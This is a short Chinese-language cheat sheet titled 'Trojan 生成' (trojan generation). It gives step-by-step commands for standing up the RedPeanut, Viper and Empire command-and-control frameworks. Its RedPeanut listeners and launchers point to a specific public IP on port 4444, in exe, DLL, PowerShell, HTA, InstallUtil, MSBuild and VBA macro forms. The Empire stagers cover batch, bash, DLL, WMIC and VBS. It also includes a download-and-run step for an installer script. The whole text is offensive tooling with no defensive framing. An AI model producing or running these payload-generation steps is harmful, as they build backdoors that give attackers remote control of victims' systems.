Trojan 生成

# 安装dotnet
rpm -Uvh https://packages.microsoft.com/config/rhel/7/packages-microsoft-prod.rpm
yum install dotnet-sdk-2.2
dotnet
dotnet build
dotnet run

#设置监听器
c2 list 
listener options http
set name RedPeanut_listener
set lhost 47.102.120.55
set lport 4444
run

#exe
launcher
exe
set filename RedPeanut_exe.exe
set lhost 47.102.120.55
set lport 4444
set profile 2
options
run

#dll 
launcher 
dll
set filename RedPeanut_dll.dll
set lhost 47.102.120.55
set lport 4444
set profile 2
options
run

#powershell
launcher 
powershell
set filename RedPeanut_ps1.ps1
set hosted False
set lport 4444
set profile 2
options
run

#Hta (vbs,powershell)
launcher
hta
set filename RedPeanut_hta.hta
set lhost 47.102.120.55
set lport 4444
set profile 2
options
run

#InstallUtil
launcher
installutil
set filename RedPeanut_installutil.installutil
set lhost 47.102.120.55
set lport 4444
set profile 2
options
run

#MSBuild
launcher
msbuild
set filename RedPeanut_msbuild.msbuild
set lhost 47.102.120.55
set lport 4444
set profile 2
options
run

#Macro/VBA
launcher
vba
set filename RedPeanut_vba.vba
set lhost 47.102.120.55
set lport 4444
set profile 2
options
run

#f8x一键安装
sysctl -w vm.max_map_count=262144
curl -o f8x https://f8x.io/   # wget -O f8x https://f8x.io/
bash f8x -viper

#访问web生成payload
https://vpsip:60000/#/user/login
用户名:root 密码:****自定义密码**

#安装环境
docker pull empireproject/empire
docker run -it -p 7000:7000 --name empire empireproject/empire /bin/bash

​#需要先升级pip
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python get-pip.py

# 安装缺少的依赖
ln -s /usr/local/bin/pip2.7 /usr/bin/pip
pip install pefile  
sudo ./empire

#生成Empire木马
listeners
uselistener http
info
set Name bk
set Port 8888
execute
back
usestager windows/launcher_bat bk
usestager multi/bash bk
usestager windows/dll bk
usestager windows/wmic bk
usestager windows/launcher_bat bk
usestager windows/launcher_vbs bk
info
execute